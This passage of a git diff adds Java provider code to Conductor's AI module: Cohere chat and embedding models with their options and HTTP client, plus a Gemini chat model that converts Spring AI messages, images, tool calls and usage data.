promptOptions.getMaxTokens() != null + ? promptOptions.getMaxTokens() + : defaultOptions.getMaxTokens()); + builder.topP( + promptOptions.getTopP() != null + ? promptOptions.getTopP() + : defaultOptions.getTopP()); + builder.topK( + promptOptions.getTopK() != null + ? promptOptions.getTopK() + : defaultOptions.getTopK()); + builder.frequencyPenalty( + promptOptions.getFrequencyPenalty() != null + ? promptOptions.getFrequencyPenalty() + : defaultOptions.getFrequencyPenalty()); + builder.presencePenalty( + promptOptions.getPresencePenalty() != null + ? promptOptions.getPresencePenalty() + : defaultOptions.getPresencePenalty()); + + // Handle Cohere-specific options + if (promptOptions instanceof CohereChatOptions cohereOptions) { + builder.stopSequences( + cohereOptions.getStopSequences() != null + ? cohereOptions.getStopSequences() + : defaultOptions.getStopSequences()); + } else { + builder.stopSequences(defaultOptions.getStopSequences()); + } + + return builder.build(); + } + + private ChatMessage toCohereMessage(Message message) { + String role = + switch (message.getMessageType()) { + case USER -> "user"; + case ASSISTANT -> "assistant"; + case SYSTEM -> "system"; + case TOOL -> "tool"; + }; + if (message instanceof UserMessage userMsg + && userMsg.getMedia() != null + && !userMsg.getMedia().isEmpty()) { + // Multi-modal: text + image_url content parts. Without this the image + // is silently dropped and the model never sees it. + List parts = new ArrayList<>(); + if (userMsg.getText() != null && !userMsg.getText().isBlank()) { + parts.add(ContentPart.text(userMsg.getText())); + } + for (Media m : userMsg.getMedia()) { + // Media can be a URL or raw bytes; conductor-ai usually + // pre-downloads to bytes, which we send as a data URI. + String url = + m.getData() instanceof byte[] bytes + ? "data:" + + m.getMimeType() + + ";base64," + + Base64.getEncoder().encodeToString(bytes) + : m.getData().toString(); + parts.add(ContentPart.imageUrl(url)); + } + return new ChatMessage(role, parts); + } + return new ChatMessage(role, message.getText()); + } + + private ChatResponse toChatResponse(ChatCompletionResponse response) { + if (response == null) { + return new ChatResponse(List.of()); + } + + // Extract text from content blocks + String text = ""; + if (response.message() != null && response.message().content() != null) { + text = + response.message().content().stream() + .filter(block -> "text".equals(block.type())) + .map(ChatCompletionResponse.ContentBlock::text) + .collect(Collectors.joining()); + } + + AssistantMessage assistantMessage = new AssistantMessage(text); + + // Build generation with metadata + ChatGenerationMetadata.Builder metadataBuilder = ChatGenerationMetadata.builder(); + if (response.finishReason() != null) { + metadataBuilder.finishReason(response.finishReason()); + } + + Generation generation = new Generation(assistantMessage, metadataBuilder.build()); + + // Build response metadata with usage + ChatResponseMetadata.Builder responseMetaBuilder = ChatResponseMetadata.builder(); + if (response.id() != null) { + responseMetaBuilder.id(response.id()); + } + if (response.usage() != null) { + responseMetaBuilder.usage(new CohereUsage(response.usage())); + } + + return new ChatResponse(List.of(generation), responseMetaBuilder.build()); + } + + /** Usage implementation for Cohere. */ + private static class CohereUsage implements Usage { + private final ChatCompletionResponse.Usage usage; + + CohereUsage(ChatCompletionResponse.Usage usage) { + this.usage = usage; + } + + @Override + public Integer getPromptTokens() { + return usage.inputTokens() != null ? usage.inputTokens() : 0; + } + + @Override + public Integer getCompletionTokens() { + return usage.outputTokens() != null ? usage.outputTokens() : 0; + } + + @Override + public Integer getTotalTokens() { + return getPromptTokens() + getCompletionTokens(); + } + + @Override + public Object getNativeUsage() { + return usage; + } + } + + public static class Builder { + private CohereApi cohereApi; + private CohereChatOptions defaultOptions; + + public Builder cohereApi(CohereApi cohereApi) { + this.cohereApi = cohereApi; + return this; + } + + public Builder defaultOptions(CohereChatOptions defaultOptions) { + this.defaultOptions = defaultOptions; + return this; + } + + public CohereChatModel build() { + Assert.notNull(this.cohereApi, "CohereApi must not be null"); + return new CohereChatModel(this.cohereApi, this.defaultOptions); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatOptions.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatOptions.java new file mode 100644 index 0000000..efe5a67 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatOptions.java @@ -0,0 +1,153 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.util.List; + +import org.springframework.ai.chat.prompt.ChatOptions; + +/** Cohere-specific chat options following Spring AI patterns. */ +public class CohereChatOptions implements ChatOptions { + + private String model; + private Double temperature; + private Integer maxTokens; + private Double topP; + private Integer topK; + private Double frequencyPenalty; + private Double presencePenalty; + private List stopSequences; + + private CohereChatOptions(Builder builder) { + this.model = builder.model; + this.temperature = builder.temperature; + this.maxTokens = builder.maxTokens; + this.topP = builder.topP; + this.topK = builder.topK; + this.frequencyPenalty = builder.frequencyPenalty; + this.presencePenalty = builder.presencePenalty; + this.stopSequences = builder.stopSequences; + } + + public static Builder builder() { + return new Builder(); + } + + @Override + public String getModel() { + return this.model; + } + + @Override + public Double getTemperature() { + return this.temperature; + } + + @Override + public Integer getMaxTokens() { + return this.maxTokens; + } + + @Override + public Double getTopP() { + return this.topP; + } + + @Override + public Integer getTopK() { + return this.topK; + } + + @Override + public Double getFrequencyPenalty() { + return this.frequencyPenalty; + } + + @Override + public Double getPresencePenalty() { + return this.presencePenalty; + } + + public List getStopSequences() { + return this.stopSequences; + } + + @Override + public ChatOptions copy() { + return builder() + .model(this.model) + .temperature(this.temperature) + .maxTokens(this.maxTokens) + .topP(this.topP) + .topK(this.topK) + .frequencyPenalty(this.frequencyPenalty) + .presencePenalty(this.presencePenalty) + .stopSequences(this.stopSequences) + .build(); + } + + public static class Builder { + private String model; + private Double temperature; + private Integer maxTokens; + private Double topP; + private Integer topK; + private Double frequencyPenalty; + private Double presencePenalty; + private List stopSequences; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder temperature(Double temperature) { + this.temperature = temperature; + return this; + } + + public Builder maxTokens(Integer maxTokens) { + this.maxTokens = maxTokens; + return this; + } + + public Builder topP(Double topP) { + this.topP = topP; + return this; + } + + public Builder topK(Integer topK) { + this.topK = topK; + return this; + } + + public Builder frequencyPenalty(Double frequencyPenalty) { + this.frequencyPenalty = frequencyPenalty; + return this; + } + + public Builder presencePenalty(Double presencePenalty) { + this.presencePenalty = presencePenalty; + return this; + } + + public Builder stopSequences(List stopSequences) { + this.stopSequences = stopSequences; + return this; + } + + public CohereChatOptions build() { + return new CohereChatOptions(this); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereEmbeddingModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereEmbeddingModel.java new file mode 100644 index 0000000..d9d8867 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereEmbeddingModel.java @@ -0,0 +1,142 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.util.List; + +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi; +import org.springframework.ai.document.Document; +import org.springframework.ai.embedding.Embedding; +import org.springframework.ai.embedding.EmbeddingModel; +import org.springframework.ai.embedding.EmbeddingRequest; +import org.springframework.ai.embedding.EmbeddingResponse; +import org.springframework.ai.embedding.EmbeddingResponseMetadata; +import org.springframework.http.ResponseEntity; +import org.springframework.util.Assert; + +/** + * Cohere Embedding Model implementation following Spring AI patterns. Potential contribution to + * spring-ai project. + */ +public class CohereEmbeddingModel implements EmbeddingModel { + + private final CohereApi cohereApi; + private final String defaultModel; + private final Integer defaultDimensions; + + public CohereEmbeddingModel(CohereApi cohereApi) { + this(cohereApi, "embed-english-v3.0", null); + } + + public CohereEmbeddingModel( + CohereApi cohereApi, String defaultModel, Integer defaultDimensions) { + Assert.notNull(cohereApi, "CohereApi must not be null"); + this.cohereApi = cohereApi; + this.defaultModel = defaultModel; + this.defaultDimensions = defaultDimensions; + } + + public static Builder builder() { + return new Builder(); + } + + @Override + public EmbeddingResponse call(EmbeddingRequest request) { + // Extract text from the request + List texts = request.getInstructions(); + + // Get model and dimensions from options or use defaults + String model = this.defaultModel; + Integer dimensions = this.defaultDimensions; + + if (request.getOptions() != null) { + if (request.getOptions().getModel() != null) { + model = request.getOptions().getModel(); + } + if (request.getOptions().getDimensions() != null) { + dimensions = request.getOptions().getDimensions(); + } + } + + // Create Cohere request with 'texts' field (not 'input') + CohereApi.EmbeddingRequest cohereRequest = + CohereApi.EmbeddingRequest.builder() + .model(model) + .texts(texts) + .inputType("search_document") + .outputDimensions(dimensions) + .build(); + + ResponseEntity response = this.cohereApi.embed(cohereRequest); + return toEmbeddingResponse(response.getBody()); + } + + @Override + public float[] embed(Document document) { + EmbeddingResponse response = call(new EmbeddingRequest(List.of(document.getText()), null)); + if (response.getResults() != null && !response.getResults().isEmpty()) { + return response.getResults().get(0).getOutput(); + } + return new float[0]; + } + + private EmbeddingResponse toEmbeddingResponse(CohereApi.EmbeddingResponse response) { + if (response == null + || response.embeddings() == null + || response.embeddings().floatEmbeddings() == null) { + return new EmbeddingResponse(List.of()); + } + + List> floatEmbeddings = response.embeddings().floatEmbeddings(); + List embeddings = new java.util.ArrayList<>(); + + for (int i = 0; i < floatEmbeddings.size(); i++) { + List embedding = floatEmbeddings.get(i); + float[] output = new float[embedding.size()]; + for (int j = 0; j < embedding.size(); j++) { + output[j] = embedding.get(j); + } + embeddings.add(new Embedding(output, i)); + } + + EmbeddingResponseMetadata metadata = new EmbeddingResponseMetadata(); + return new EmbeddingResponse(embeddings, metadata); + } + + public static class Builder { + private CohereApi cohereApi; + private String defaultModel = "embed-english-v3.0"; + private Integer defaultDimensions; + + public Builder cohereApi(CohereApi cohereApi) { + this.cohereApi = cohereApi; + return this; + } + + public Builder defaultModel(String defaultModel) { + this.defaultModel = defaultModel; + return this; + } + + public Builder defaultDimensions(Integer defaultDimensions) { + this.defaultDimensions = defaultDimensions; + return this; + } + + public CohereEmbeddingModel build() { + Assert.notNull(this.cohereApi, "CohereApi must not be null"); + return new CohereEmbeddingModel( + this.cohereApi, this.defaultModel, this.defaultDimensions); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/api/CohereApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/api/CohereApi.java new file mode 100644 index 0000000..e8301a4 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/api/CohereApi.java @@ -0,0 +1,353 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere.api; + +import java.util.List; +import java.util.Map; +import java.util.function.Consumer; + +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.Assert; +import org.springframework.web.client.RestClient; + +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** + * Low-level HTTP client for Cohere API v2. Follows Spring AI patterns (similar to AnthropicApi) for + * potential contribution. + */ +public class CohereApi { + + public static final String DEFAULT_BASE_URL = "https://api.cohere.com"; + public static final String DEFAULT_CHAT_PATH = "/v2/chat"; + public static final String DEFAULT_EMBED_PATH = "/v2/embed"; + + private final RestClient restClient; + private final String chatPath; + private final String embedPath; + + private CohereApi( + String baseUrl, + String apiKey, + String chatPath, + String embedPath, + RestClient.Builder restClientBuilder) { + this.chatPath = chatPath; + this.embedPath = embedPath; + + Consumer defaultHeaders = + headers -> { + headers.setContentType(MediaType.APPLICATION_JSON); + headers.setBearerAuth(apiKey); + }; + + this.restClient = restClientBuilder.baseUrl(baseUrl).defaultHeaders(defaultHeaders).build(); + } + + public static Builder builder() { + return new Builder(); + } + + /** Send a chat request to Cohere API. */ + public ResponseEntity chat(ChatCompletionRequest request) { + return this.restClient + .post() + .uri(this.chatPath) + .body(request) + .retrieve() + .toEntity(ChatCompletionResponse.class); + } + + /** Send an embedding request to Cohere API. */ + public ResponseEntity embed(EmbeddingRequest request) { + return this.restClient + .post() + .uri(this.embedPath) + .body(request) + .retrieve() + .toEntity(EmbeddingResponse.class); + } + + // ======================================================================== + // Request/Response Records + // ======================================================================== + + /** Chat message with role and content. Content is a String or a List<ContentPart>. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ChatMessage( + @JsonProperty("role") String role, @JsonProperty("content") Object content) { + + public static ChatMessage user(String content) { + return new ChatMessage("user", content); + } + + /** Multi-part user message (text + image parts) for vision input. */ + public static ChatMessage user(List content) { + return new ChatMessage("user", content); + } + + public static ChatMessage assistant(String content) { + return new ChatMessage("assistant", content); + } + + public static ChatMessage system(String content) { + return new ChatMessage("system", content); + } + } + + /** A content part of a multi-part message (Cohere v2 multimodal format). */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ContentPart( + String type, String text, @JsonProperty("image_url") ImageUrl imageUrl) { + + public static ContentPart text(String text) { + return new ContentPart("text", text, null); + } + + /** {@code url} is an https URL or a {@code data:;base64,<...>} URI. */ + public static ContentPart imageUrl(String url) { + return new ContentPart("image_url", null, new ImageUrl(url)); + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ImageUrl(String url) {} + } + + /** Chat completion request for Cohere v2 API. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ChatCompletionRequest( + @JsonProperty("model") String model, + @JsonProperty("messages") List messages, + @JsonProperty("temperature") Double temperature, + @JsonProperty("max_tokens") Integer maxTokens, + @JsonProperty("p") Double topP, + @JsonProperty("k") Integer topK, + @JsonProperty("frequency_penalty") Double frequencyPenalty, + @JsonProperty("presence_penalty") Double presencePenalty, + @JsonProperty("stop_sequences") List stopSequences, + @JsonProperty("stream") Boolean stream) { + + public static Builder builder() { + return new Builder(); + } + + public static class Builder { + private String model; + private List messages; + private Double temperature; + private Integer maxTokens; + private Double topP; + private Integer topK; + private Double frequencyPenalty; + private Double presencePenalty; + private List stopSequences; + private Boolean stream; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder messages(List messages) { + this.messages = messages; + return this; + } + + public Builder temperature(Double temperature) { + this.temperature = temperature; + return this; + } + + public Builder maxTokens(Integer maxTokens) { + this.maxTokens = maxTokens; + return this; + } + + public Builder topP(Double topP) { + this.topP = topP; + return this; + } + + public Builder topK(Integer topK) { + this.topK = topK; + return this; + } + + public Builder frequencyPenalty(Double frequencyPenalty) { + this.frequencyPenalty = frequencyPenalty; + return this; + } + + public Builder presencePenalty(Double presencePenalty) { + this.presencePenalty = presencePenalty; + return this; + } + + public Builder stopSequences(List stopSequences) { + this.stopSequences = stopSequences; + return this; + } + + public Builder stream(Boolean stream) { + this.stream = stream; + return this; + } + + public ChatCompletionRequest build() { + return new ChatCompletionRequest( + model, + messages, + temperature, + maxTokens, + topP, + topK, + frequencyPenalty, + presencePenalty, + stopSequences, + stream); + } + } + } + + /** Chat completion response from Cohere v2 API. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ChatCompletionResponse( + @JsonProperty("id") String id, + @JsonProperty("message") ResponseMessage message, + @JsonProperty("finish_reason") String finishReason, + @JsonProperty("usage") Usage usage) { + + public record ResponseMessage( + @JsonProperty("role") String role, + @JsonProperty("content") List content) {} + + public record ContentBlock( + @JsonProperty("type") String type, @JsonProperty("text") String text) {} + + public record Usage( + @JsonProperty("input_tokens") Integer inputTokens, + @JsonProperty("output_tokens") Integer outputTokens) {} + } + + /** Embedding request for Cohere v2 API. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record EmbeddingRequest( + @JsonProperty("model") String model, + @JsonProperty("texts") List texts, + @JsonProperty("input_type") String inputType, + @JsonProperty("output_dimensions") Integer outputDimensions, + @JsonProperty("truncate") String truncate) { + + public static Builder builder() { + return new Builder(); + } + + public static class Builder { + private String model; + private List texts; + private String inputType = "search_document"; + private Integer outputDimensions; + private String truncate; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder texts(List texts) { + this.texts = texts; + return this; + } + + public Builder inputType(String inputType) { + this.inputType = inputType; + return this; + } + + public Builder outputDimensions(Integer outputDimensions) { + this.outputDimensions = outputDimensions; + return this; + } + + public Builder truncate(String truncate) { + this.truncate = truncate; + return this; + } + + public EmbeddingRequest build() { + return new EmbeddingRequest(model, texts, inputType, outputDimensions, truncate); + } + } + } + + /** Embedding response from Cohere v2 API. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record EmbeddingResponse( + @JsonProperty("id") String id, + @JsonProperty("embeddings") Embeddings embeddings, + @JsonProperty("texts") List texts, + @JsonProperty("meta") Map meta) { + + public record Embeddings(@JsonProperty("float") List> floatEmbeddings) {} + } + + // ======================================================================== + // Builder + // ======================================================================== + + public static class Builder { + private String baseUrl = DEFAULT_BASE_URL; + private String apiKey; + private String chatPath = DEFAULT_CHAT_PATH; + private String embedPath = DEFAULT_EMBED_PATH; + private RestClient.Builder restClientBuilder = RestClient.builder(); + + public Builder baseUrl(String baseUrl) { + this.baseUrl = baseUrl; + return this; + } + + public Builder apiKey(String apiKey) { + this.apiKey = apiKey; + return this; + } + + public Builder chatPath(String chatPath) { + this.chatPath = chatPath; + return this; + } + + public Builder embedPath(String embedPath) { + this.embedPath = embedPath; + return this; + } + + public Builder restClientBuilder(RestClient.Builder restClientBuilder) { + this.restClientBuilder = restClientBuilder; + return this; + } + + public CohereApi build() { + Assert.hasText(this.apiKey, "API key must not be empty"); + return new CohereApi( + this.baseUrl, + this.apiKey, + this.chatPath, + this.embedPath, + this.restClientBuilder); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModel.java new file mode 100644 index 0000000..c7ec0a0 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModel.java @@ -0,0 +1,397 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.MessageType; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.ToolResponseMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.metadata.ChatResponseMetadata; +import org.springframework.ai.chat.metadata.DefaultUsage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.model.tool.ToolCallingChatOptions; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; + +/** + * Spring AI {@link ChatModel} implementation backed by the OkHttp-based {@link GeminiApi} client. + * + *

Converts Spring AI {@link Prompt} messages to {@link GeminiApi.Content} objects, calls {@code + * GeminiApi.generateContent()}, and converts the response back to Spring AI's {@link ChatResponse}. + */ +@Slf4j +public class GeminiChatModel implements ChatModel { + + private final GeminiApi api; + private final ObjectMapper objectMapper = new ObjectMapper(); + + public GeminiChatModel(GeminiApi api) { + this.api = api; + } + + @Override + public ChatResponse call(Prompt prompt) { + List springMessages = + prompt.getInstructions(); + ChatOptions options = prompt.getOptions(); + + // Extract system messages + StringBuilder systemBuilder = new StringBuilder(); + List nonSystemMessages = new ArrayList<>(); + for (org.springframework.ai.chat.messages.Message msg : springMessages) { + if (msg.getMessageType() == MessageType.SYSTEM) { + String sysText = ((SystemMessage) msg).getText(); + if (!systemBuilder.isEmpty()) { + systemBuilder.append("\n"); + } + systemBuilder.append(sysText); + } else { + nonSystemMessages.add(msg); + } + } + + // Convert messages to GeminiApi Content + List contents = new ArrayList<>(); + for (org.springframework.ai.chat.messages.Message msg : nonSystemMessages) { + contents.addAll(convertMessage(msg)); + } + + GeminiChatOptions opts = options instanceof GeminiChatOptions gco ? gco : null; + + // Build system instruction content (if any) + GeminiApi.Content systemInstruction = null; + if (!systemBuilder.isEmpty()) { + systemInstruction = + new GeminiApi.Content( + null, List.of(GeminiApi.Part.text(systemBuilder.toString()))); + } + + // Build tools + List toolList = buildTools(opts); + + // Build GenerationConfig + Double temperature = null; + Double topP = null; + Integer topK = null; + Integer maxOutputTokens = null; + List stopSequences = null; + Double frequencyPenalty = null; + Double presencePenalty = null; + GeminiApi.ThinkingConfig thinkingConfig = null; + + if (opts != null) { + temperature = opts.getTemperature(); + topP = opts.getTopP(); + topK = opts.getTopK(); + maxOutputTokens = opts.getMaxTokens(); + stopSequences = opts.getStopSequences(); + frequencyPenalty = opts.getFrequencyPenalty(); + presencePenalty = opts.getPresencePenalty(); + + // Thinking config + boolean hasBudget = + opts.getThinkingBudgetTokens() != null && opts.getThinkingBudgetTokens() > 0; + boolean includeThoughts = + opts.getIncludeThoughts() != null && opts.getIncludeThoughts(); + if (hasBudget || includeThoughts) { + thinkingConfig = + new GeminiApi.ThinkingConfig( + hasBudget ? opts.getThinkingBudgetTokens() : null, + includeThoughts ? true : null); + } + } else if (options != null) { + temperature = options.getTemperature(); + topP = options.getTopP(); + topK = options.getTopK(); + maxOutputTokens = options.getMaxTokens(); + stopSequences = options.getStopSequences(); + frequencyPenalty = options.getFrequencyPenalty(); + presencePenalty = options.getPresencePenalty(); + } + + GeminiApi.GenerationConfig config = + new GeminiApi.GenerationConfig( + temperature, + topP, + topK, + maxOutputTokens, + stopSequences, + frequencyPenalty, + presencePenalty, + null, // responseMimeType + null, // responseModalities + thinkingConfig, + null // speechConfig + ); + + String model = + opts != null ? opts.getModel() : (options != null ? options.getModel() : null); + if (model == null) { + model = "gemini-2.5-flash"; + } + + GeminiApi.GenerateContentResponse result; + try { + result = + api.generateContent( + model, + contents, + systemInstruction, + toolList.isEmpty() ? null : toolList, + config); + } catch (java.io.IOException e) { + throw new RuntimeException("Gemini generateContent failed: " + e.getMessage(), e); + } + + return toSpringChatResponse(result, model); + } + + private List buildTools(GeminiChatOptions opts) { + List tools = new ArrayList<>(); + if (opts == null) { + return tools; + } + + // Google Search + if (opts.isGoogleSearchRetrieval()) { + tools.add(GeminiApi.Tool.withGoogleSearch()); + } + + // Code execution + if (opts.isCodeExecution()) { + tools.add(GeminiApi.Tool.withCodeExecution()); + } + + // Function tools + if (opts.getTools() != null && !opts.getTools().isEmpty()) { + List declarations = new ArrayList<>(); + for (ToolSpec toolSpec : opts.getTools()) { + Object schema = + (toolSpec.getInputSchema() != null && !toolSpec.getInputSchema().isEmpty()) + ? toolSpec.getInputSchema() + : null; + declarations.add( + new GeminiApi.FunctionDeclaration( + toolSpec.getName(), + toolSpec.getDescription() != null ? toolSpec.getDescription() : "", + schema)); + } + tools.add(GeminiApi.Tool.withFunctionDeclarations(declarations)); + } + + return tools; + } + + @SuppressWarnings("unchecked") + private List convertMessage( + org.springframework.ai.chat.messages.Message msg) { + List contents = new ArrayList<>(); + + switch (msg.getMessageType()) { + case USER -> { + UserMessage userMsg = (UserMessage) msg; + List media = userMsg.getMedia(); + if (media != null && !media.isEmpty()) { + // Multi-modal: text + inline image parts. Without this the + // image is silently dropped and the model never sees it. + List parts = new ArrayList<>(); + if (userMsg.getText() != null && !userMsg.getText().isBlank()) { + parts.add(GeminiApi.Part.text(userMsg.getText())); + } + for (org.springframework.ai.content.Media m : media) { + String mimeType = + m.getMimeType() != null + ? m.getMimeType().toString() + : "application/octet-stream"; + // Conductor downloads media URLs to bytes upstream; encode + // to the base64 payload Gemini's inlineData expects. + String base64 = + m.getData() instanceof byte[] bytes + ? java.util.Base64.getEncoder().encodeToString(bytes) + : m.getData().toString(); + parts.add(GeminiApi.Part.inlineData(mimeType, base64)); + } + contents.add(new GeminiApi.Content("user", parts)); + } else { + contents.add( + new GeminiApi.Content( + "user", List.of(GeminiApi.Part.text(userMsg.getText())))); + } + } + + case ASSISTANT -> { + AssistantMessage assistantMsg = (AssistantMessage) msg; + List parts = new ArrayList<>(); + if (assistantMsg.getText() != null && !assistantMsg.getText().isBlank()) { + parts.add(GeminiApi.Part.text(assistantMsg.getText())); + } + if (assistantMsg.hasToolCalls()) { + for (AssistantMessage.ToolCall tc : assistantMsg.getToolCalls()) { + Map args; + try { + args = objectMapper.readValue(tc.arguments(), Map.class); + } catch (Exception e) { + args = Map.of(); + } + parts.add(GeminiApi.Part.functionCall(tc.name(), args)); + } + } + if (!parts.isEmpty()) { + contents.add(new GeminiApi.Content("model", parts)); + } + } + + case TOOL -> { + ToolResponseMessage toolMsg = (ToolResponseMessage) msg; + List parts = new ArrayList<>(); + for (ToolResponseMessage.ToolResponse tr : toolMsg.getResponses()) { + Map responseMap; + try { + responseMap = objectMapper.readValue(tr.responseData(), Map.class); + } catch (Exception e) { + responseMap = Map.of("result", tr.responseData()); + } + parts.add(GeminiApi.Part.functionResponse(tr.name(), responseMap)); + } + contents.add(new GeminiApi.Content("user", parts)); + } + + default -> log.warn("Unsupported message type: {}", msg.getMessageType()); + } + + return contents; + } + + ChatResponse toSpringChatResponse(GeminiApi.GenerateContentResponse result, String model) { + List generations = new ArrayList<>(); + List toolCalls = new ArrayList<>(); + StringBuilder textBuilder = new StringBuilder(); + StringBuilder reasoningBuilder = new StringBuilder(); + + // Extract finish reason + String finishReason = "STOP"; + String geminiFinishReason = result.finishReason(); + if (geminiFinishReason != null) { + finishReason = geminiFinishReason; + } + + // Extract text from response. result.text() returns concatenated text from + // non-thought parts only — it filters out parts whose thought flag is true. + // We separately iterate the candidates to surface thought summaries as reasoning metadata. + String text = result.text(); + if (text != null && !text.isEmpty()) { + textBuilder.append(text); + } + + // Collect thought summary text from thought parts + List candidates = result.candidates(); + if (candidates != null) { + for (GeminiApi.Candidate candidate : candidates) { + GeminiApi.Content content = candidate.content(); + if (content == null || content.parts() == null) continue; + for (GeminiApi.Part part : content.parts()) { + if (Boolean.TRUE.equals(part.thought())) { + String thoughtText = part.text(); + if (thoughtText != null && !thoughtText.isBlank()) { + if (!reasoningBuilder.isEmpty()) { + reasoningBuilder.append("\n\n"); + } + reasoningBuilder.append(thoughtText); + } + } + } + } + } + + // Extract function calls + List functionCalls = result.functionCalls(); + if (functionCalls != null && !functionCalls.isEmpty()) { + for (GeminiApi.FunctionCallPart fc : functionCalls) { + String name = fc.name(); + String id = fc.name(); // FunctionCallPart has no separate id field + String argsJson; + try { + argsJson = + objectMapper.writeValueAsString( + fc.args() != null ? fc.args() : Map.of()); + } catch (Exception e) { + argsJson = "{}"; + } + toolCalls.add(new AssistantMessage.ToolCall(id, "function", name, argsJson)); + } + finishReason = "TOOL_CALLS"; + } + + // Build AssistantMessage + AssistantMessage assistantMessage; + if (!toolCalls.isEmpty()) { + assistantMessage = + AssistantMessage.builder() + .content(textBuilder.toString()) + .toolCalls(toolCalls) + .build(); + } else { + assistantMessage = new AssistantMessage(textBuilder.toString()); + } + + ChatGenerationMetadata genMeta = + ChatGenerationMetadata.builder().finishReason(finishReason).build(); + generations.add(new Generation(assistantMessage, genMeta)); + + // Usage metadata + int inputTok = 0; + int outputTok = 0; + Integer thoughtsTok = null; + GeminiApi.UsageMetadata usageMeta = result.usageMetadata(); + if (usageMeta != null) { + inputTok = usageMeta.promptTokenCount() != null ? usageMeta.promptTokenCount() : 0; + outputTok = + usageMeta.candidatesTokenCount() != null ? usageMeta.candidatesTokenCount() : 0; + thoughtsTok = usageMeta.thoughtsTokenCount(); + } + DefaultUsage springUsage = new DefaultUsage(inputTok, outputTok, inputTok + outputTok); + + String responseId = result.responseId(); + ChatResponseMetadata.Builder metaBuilder = + ChatResponseMetadata.builder().model(model).usage(springUsage); + if (responseId != null) { + metaBuilder.id(responseId); + } + if (!reasoningBuilder.isEmpty()) { + metaBuilder.keyValue("reasoning", reasoningBuilder.toString()); + } + if (thoughtsTok != null) { + metaBuilder.keyValue("reasoning_tokens", thoughtsTok); + } + + return new ChatResponse(generations, metaBuilder.build()); + } + + @Override + public ChatOptions getDefaultOptions() { + return ToolCallingChatOptions.builder().build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatOptions.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatOptions.java new file mode 100644 index 0000000..090d2d5 